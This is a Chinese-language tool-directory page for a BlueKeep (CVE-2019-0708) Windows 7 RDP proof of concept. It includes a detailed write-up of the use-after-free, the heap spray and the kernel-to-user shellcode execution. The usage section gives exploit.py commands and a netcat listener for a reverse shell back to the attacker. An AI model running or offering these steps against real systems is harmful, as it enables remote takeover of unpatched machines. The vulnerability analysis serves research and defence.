Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-0708 — CVE-2019-0708 (BlueKeep) 概念验证,允许在 Windows 7 上实现预认证远程代码执行(RCE) | Kitploit
工具/GitHubGitHub/ricseclab/cve-2019-0708
漏洞分析漏洞利用渗透测试远程访问工具Payload 开发二进制利用
GitHubricseclab/cve-2019-0708

CVE-2019-0708

CVE-2019-0708 (BlueKeep) 概念验证,允许在 Windows 7 上实现预认证远程代码执行(RCE)

查看仓库
150234年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-0708 (BlueKeep) 预认证 RCE POC 在 Windows7 上

Ricerca Security, Inc.

本仓库演示了 Windows 远程桌面服务 (RDS) 中的远程代码执行漏洞。

这是我们之前开发的关于 BlueKeep 漏洞的 POC 代码和技术报告。
注意: 我们的目标是帮助分析人员更好地理解关键漏洞。

使用方法

前置条件

我们的利用代码使用 Python 3 编写,并依赖于 PyRDP 库。请按照 PyRDP 的安装指南进行设置。

用法

目前,我们的利用工具针对并在 Virtual Box 上的 Windows 7 SP 1 (6.1.7601) x64 上进行了测试。

如果你的计算机 IP 地址为 192.168.56.1,并且目标 RDP 服务器位于 example.com:1234,则输入:

root@kitploit:~
$ python exploit.py example.com -rp 1234 192.168.56.1

如果脚本成功利用服务器,一个反向连接 shellcode 会从服务器发起一个 TCP 连接到 192.168.56.1:4444。 因此,例如你应该使用 netcat 等待连接:

root@kitploit:~
$ nc -v -l 4444

如果你想更改服务器回连的端口号,请使用 -bp 选项:

root@kitploit:~
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567

报告

漏洞

2019 年 5 月,微软披露了远程桌面服务(原终端服务)中的一个严重远程代码执行漏洞 CVE-2019-0708。该漏洞是预认证的——意味着该漏洞具有蠕虫特性,可能造成广泛破坏。攻击者可以通过向目标服务器发送特制的远程桌面协议(RDP)消息来利用此漏洞,并以管理权限执行任意代码。

RDP 虚拟通道

Microsoft 远程桌面服务允许用户远程打开交互式 Windows 会话。它通过远程桌面协议(RDP)在 3389/TCP 端口上与用户客户端通信,向用户呈现 Windows 桌面。

RDP 协议可以通过称为虚拟通道的软件扩展来增强功能。功能增强的示例可能包括:支持特殊类型的硬件、音频或其他对核心功能的补充。
这些通道包括标准 Microsoft 提供的通道,如 "rdpdr"(重定向)、"rdpsnd"(声音)、"cliprdr"(剪贴板共享)等。用户可以使用 RDP API 编写模块以支持其他通道。除了上述通道外,Microsoft 默认创建了两个通道:MS_T120(用于 RDP 本身)和 CTXTW(用于 Citrix ICA)。

该漏洞与通过 "MCS Connect Initial 和 GCC Create" 请求进行的 MS_T120 虚拟通道绑定过程有关。更多背景信息可从 ZDI 获取。
正如 ZDI 文章所述,客户端请求的所有虚拟通道都是通过 termdd!IcaCreateChannel() 创建的。然后,指向这些通道结构的指针存储在一个表中,我们称之为 ChannelPointerTable。
当与 RDP 客户端建立连接时,包括 MS_T120 在内的所有静态虚拟通道都由 Windows RDP 服务器内部初始化,并由 ChannelPointerTable 指向。

创建 MS_T120 和 CTXTW 的查询由 rdpcore!WDLIB_IcaVirtualQueryBindings() 发起。

图 1:生成用于创建 MS_T120 和 CTXTW 的查询

查询传递到 termdd!IcaBindVirtualChannels() 后,在 termdd!IcaAllocateChannel() 中创建虚拟通道结构,并注册到 ChannelPointerTable 中。

图 2:创建并注册虚拟通道结构

函数例程 termdd!IcaBindChannel() 负责将虚拟通道结构注册到 ChannelPointerTable 中。 IcaBindChannel
以下是在 Windows 7 x64 上的堆栈跟踪,当 termdd!IcaBindChannel() 以第一个参数 "MS_T120" 和第三个参数 0x1f 调用时。

图 3:MS_T120 在初始请求期间绑定到插槽 0x1f

然后 ChannelPointerTable 如下所示。注意 MS_T120 始终存在于插槽 0x1F 中。

图 4:初始请求期间的 ChannelPointerTable

根因分析

Windows RDP 内核驱动 termdd.sys 中存在一个释放后使用漏洞。
问题在于,当客户端在 "MCS Connect Initial 和 GCC Create" 期间指定名为 MS_T120\x00 的通道时,termdd!IcaCreateChannel() 调用 termdd!IcaFindChannelByName() 并返回插槽 0x1F 中现有的 MS_T120 通道结构。然后,在 "MCS Attach User Request" 期间,该通道结构被视为一个新的虚拟通道条目,并存储在其他插槽(本例中为插槽 2)中。
以下是在 Windows 7 x64 上的堆栈跟踪,当 termdd!IcaBindChannel() 以第一个参数 "MS_T120" 和第三个参数 0x2 调用时。

图 5:MS_T120 在附加请求期间也绑定到插槽 0x2

换句话说,MS_T120 通道结构被两个插槽 0x1F 和 0x2 指向。

图 6:附加请求期间的 ChannelPointerTable

如果攻击者随后向 MS_T120 通道发送无效数据,termdd.sys 使用 termdd!IcaCloseChannel() 关闭通道,并清除该插槽处的指针(本例中为插槽 2)。
然而,插槽 0x1F 中的相同指针并未被清除。
随后,当连接终止时,RDPWD!HandleDisconnectProviderUlt() 被调用,后者又调用 termdd!IcaChannelInputInternal(),并尝试再次使用插槽 0x1F 处的指针来销毁已释放的 MS_T120 通道结构。通过通道结构中的 vtable 指针调用销毁过程。这导致了一个释放后使用条件。

图 7:vtable 解引用

堆喷射

如前所述,RDPWD!HandleDisconnectProviderUlt() 尝试从已释放通道结构中的 vtable 指针调用函数。如果攻击者能够控制通道结构中的值,他就可以覆盖 vtable 指针,从而导致以内核权限执行任意代码。
然而,要实现这一点,存在两个难点。

一是如何首先控制已释放通道结构中的值。为此,攻击者通常在释放的结构所在位置分配内存,因为目标漏洞是释放后使用。
但是,在这种情况下,他无法确定性按自己的意愿在目标位置分配内存。这是因为在内核中,许多线程同时运行并分配内存(实际上几乎是同时的)。他的内存分配在哪里取决于线程运行的顺序。在几乎所有情况下,他无法确定是否成功进行了分配。
HeapSizeChange
HeapSizeChange

另一个难点是在哪里设置 vtable 及其指针的地址。如前一节所述,攻击者需要设置 vtable 的地址。由于他希望获得任意代码执行,他应该设置地址,使得伪造的 vtable 包含他想要执行的地址(例如 shellcode 或某些 gadget 的地址)。
然而,由于内核堆和 KASLR 的随机性,他几乎无法知道这样的合适地址:

  1. 他可能可以在内核堆中分配内存并将 shellcode 的地址写入分配的内存位置。但通常他无法得知分配位置的地址,因为如上所述的随机性。
  2. 另一种可能性(尽管不太可能)是使用静态(非堆)内存位置,这些位置偶然包含有用 gadget 的地址,例如代码段中的某个位置。然而,这个方案也不太奏效,因为 Windows 7 采用了 KASLR 缓解措施,随机化了这些内存位置的地址。

这些事实意味着,即使攻击者能够控制 vtable 指针,他也无法直接获得任意代码执行,除非他利用另一个漏洞来泄漏内核中的地址。 此外,你可能注意到,“shellcode 或某些 gadget 的地址”也是攻击者无法知道的。

我们的利用通过单一技术解决了这些障碍:堆喷射。堆喷射是一种打破这些随机性的方法,它大量分配大量内存。

图 8:喷射前堆池的使用情况

图 9:喷射后堆池的使用情况

通过多次重复特制的分配,攻击者可以增加某些分配的内存位于已释放通道结构位置的概率。

如果内核堆中的大多数对象都是攻击者准备的,那么他甚至可以粗心地指定堆中的某个地址作为伪造 vtable 的地址,因为指定的地址很可能指向他的对象。我们注意到,内核堆的基地址不会被 KASLR 随机化。基本上,堆的随机性仅来自线程执行顺序。

幸运且最重要的是,在 Windows 7 中,非分页内核池未启用 NX 位。这意味着攻击者不仅可以在内核堆中存储伪造的 vtable,还可以直接存储 shellcode。这使得利用更加容易,因为我们不需要使用返回导向编程。

图 10:页表项(PTE)权限

对于堆喷射,显然攻击者需要能够在内核堆中分配内存并向其中写入输入的功能。基于 Unit 42 的报告 和 Metasploit 中的 BlueKeep 利用,我们搜索了内核驱动中提供此功能的例程。我们测试了许多 PDU,最终得出结论,最可靠且有用的方法是向 rdpsnd 通道发送虚拟通道 PDU,正如 Metasploit 的利用所使用的那样。 供你参考,让我们解释一下为什么我们不能采用 Unit 42 报告中介绍的三种 PDU:

  • 位图缓存 PDU:首先,攻击者只能在首次握手期间发送此 PDU。因为释放后使用发生在握手完成后,所以不能用于覆盖 vtable。此外,使用该 PDU,攻击者只能分配 0x2b5240 字节(< 3MB)的内存,不足以进行堆喷射。
  • 客户端名称请求 PDU:我们曾认为这个 PDU 很有希望用于堆喷射。然而,根据我们的测试,至少不能以直接方式多次发送(或接收)此 PDU。由于缺乏细节,我们无法确定这个结果意味着什么:攻击者是否需要发送特制且复杂的包才能利用此 PDU,或者这个例程已经改变,在 64 位环境中不起作用。
  • 刷新矩形 PDU:这个 PDU 在堆喷射方面高效,因为攻击者可以分配比他实际发送的数据量大得多的内存。然而,由于攻击者只能控制该 PDU 分配内存中的 8 字节数据,难以有意义地利用这种分配。我们省略细节,但我们认为攻击者至少需要能够控制 13 字节(vtable 8 字节 + “jmp $+0x1000” 5 字节)的数据才能有效使用这类 PDU。

顾名思义,虚拟通道 PDU 由客户端和服务器交换,用于将数据传输到静态虚拟通道。 至于 PDU 内部数据的处理方式,因通道而异。在 Microsoft 提供作为扩展的几个知名通道中,rdpsnd 通道具有接收任意输入并为其分配内存的独特功能。 由于此通道在 Windows 7 中默认可用,我们可以简单地将我们的 payload 发送给它进行堆喷射。

我们编写了一个概念验证代码,考虑了上述重要点,并成功实现了任意代码执行。

图 11:受控的 vtable 地址

图 12:成功用指向 shellcode(ud2)的恶意地址覆盖 vtable 地址

代码执行

尽管我们在上一节描述了如何让 shellcode 执行,但这实际上并不是全部。shellcode 在内核态运行,而攻击者想要的是“用户态”的管理员权限。它们在理论上就所能做的事情相似,但在实现他想做的事情的方式上不同。例如,使用 shellcode,攻击者可能需要编写数百行汇编代码来列出某个目录中的文件,而使用特权 shell,他只需键入 'dir'。

因此,我们利用的目标是为攻击者提供一个特权 shell,而这需要付出额外的努力。由于 shellcode 在内核态执行,首先 shellcode 需要找到或创建一个(特权)用户态线程,然后在该线程中执行 cmd.exe。
这次我们需要考虑两个问题:如何找到或创建一个线程,以及如何在用户态分配内存以在用户态执行 shellcode。

前一个问题(找到用户态线程)的出现是因为 shellcode 运行的上下文不是普通的进程上下文。 如果它在进程上下文中运行,它只需使用 IRET 指令即可返回到用户态。然而,在这种情况下,执行 IRET 会导致内核冻结。 有几种方法可以解决这个问题,但其中最通用且有用的方法是 异步过程调用 (APC),这是 Windows 提供的用于处理异步事件的机制。 APC 允许程序在指定的线程上下文(甚至不同进程的上下文)中执行函数。通过这种机制,shellcode 可以轻松且合法地创建一个新的用户态线程。

注册 APC 时,我们需要指定新用户态线程开始执行的地址。然而,到目前为止我们只在内核堆中分配了内存,用户态线程显然无法访问该内存。为了执行用户态 shellcode,我们必须准备另一个可以从用户态看到的内存位置,并将用户态 shellcode 存储在那里。 因此,我们遇到了在用户态分配内存的后一个问题。 解决这个问题的一种可能且正常的方法是使用 ZwAllocateVirtualMemory 创建一个新的映射。然而,这有点冗余,实际上在 Windows 7 中有更简单的方法:使用 KUSER_SHARED_DATA。 KUSER_SHARED_DATA 是一个存储在专用映射中的数据结构,该映射同时映射到用户态和内核态,并且位于固定地址(分别是 0x7FFE0000 和 0xFFFFF78000000000)。这类似于 Linux 中的 vsyscall。 如果我们在这个映射中存储用户态 shellcode,一切都会顺利进行:内核态 shellcode 可以将用户态 shellcode 复制到这个映射中,并且由于它知道映射的地址,可以毫无困难地注册 APC。

图 13:Shellcode 存储在专用映射中,即 0x7FFE0000(用户态)和 0xFFFFF78000000000(内核态)

图 14:Shellcode 的内容

因此,在获得任意代码执行之后还有许多事情要做,尽管所有这些事情几乎都可以直接解决。最终,我们的利用实现了其目标。

受影响版本

该漏洞被分配了 CVE 编号 CVE-2019-0708。微软已于 2019 年 5 月 15 日发布了安全补丁 KB4499175。
有关该漏洞、受影响版本及缓解措施的更多详细信息,请参阅此处。

致谢

本项目部分由 Recruit 株式会社的高级技术实验室支持。 Advanced Technology Lab

下载工具